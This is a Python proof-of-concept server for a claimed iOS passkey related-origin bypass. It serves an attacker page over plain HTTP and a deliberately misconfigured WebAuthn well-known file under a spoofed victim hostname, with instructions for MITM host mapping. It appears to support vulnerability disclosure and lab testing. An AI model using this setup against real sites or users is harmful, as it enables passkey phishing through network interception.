#!/usr/bin/env python3
"""
Two-port POC server for the iOS passkey http:// related-origin bypass.

  Port 8080  -> plain HTTP, plays the role of http://partner.example
                (the page a network attacker injects via MITM).
  Port 8443  -> HTTPS, plays the role of https://victim-rp.com and serves
                /.well-known/webauthn listing http://partner.example.

On the iOS device, map both hostnames to this machine via /etc/hosts (or a
MITM DNS):    <tester-ip>  partner.example  victim-rp.com
Then open    http://partner.example:8080/poc.html  in iOS Chrome.

For a lab setup that doesn't require host mapping you can instead point the
poc.html rpId at a domain you control whose real .well-known/webauthn lists
your http test origin.
"""

import http.server
import os
import ssl
import subprocess
import tempfile
import threading

HERE = os.path.dirname(os.path.abspath(__file__))

WELL_KNOWN = b'{"origins":["http://partner.example","http://partner.example:8080"]}'


class AttackerHandler(http.server.SimpleHTTPRequestHandler):
    """Serves poc.html (and anything else in this dir) over plain HTTP."""

    def __init__(self, *a, **kw):
        super().__init__(*a, directory=HERE, **kw)


class RPHandler(http.server.BaseHTTPRequestHandler):
    """Serves the misconfigured .well-known/webauthn over HTTPS."""

    def do_GET(self):  # noqa: N802
        if self.path.rstrip('/') == '/.well-known/webauthn':
            self.send_response(200)
            self.send_header('Content-Type', 'application/json')
            self.send_header('Content-Length', str(len(WELL_KNOWN)))
            self.end_headers()
            self.wfile.write(WELL_KNOWN)
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, fmt, *args):
        print('[rp   ]', fmt % args)


def make_self_signed_cert():
    d = tempfile.mkdtemp()
    key = os.path.join(d, 'key.pem')
    crt = os.path.join(d, 'crt.pem')
    subprocess.check_call([
        'openssl', 'req', '-x509', '-newkey', 'rsa:2048', '-nodes',
        '-keyout', key, '-out', crt, '-days', '2',
        '-subj', '/CN=victim-rp.com',
    ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    return key, crt


def main():
    # Plain-HTTP attacker server on 8080.
    http_srv = http.server.ThreadingHTTPServer(('127.0.0.1', 8080),
                                               AttackerHandler)
    threading.Thread(target=http_srv.serve_forever, daemon=True).start()
    print('[http ] attacker page:  http://partner.example:8080/poc.html')

    # HTTPS RP server on 8443.
    key, crt = make_self_signed_cert()
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(certfile=crt, keyfile=key)
    https_srv = http.server.ThreadingHTTPServer(('127.0.0.1', 8443), RPHandler)
    https_srv.socket = ctx.wrap_socket(https_srv.socket, server_side=True)
    print('[https] .well-known:    '
          'https://victim-rp.com:8443/.well-known/webauthn')
    print('        body:', WELL_KNOWN.decode())
    https_srv.serve_forever()


if __name__ == '__main__':
    main()
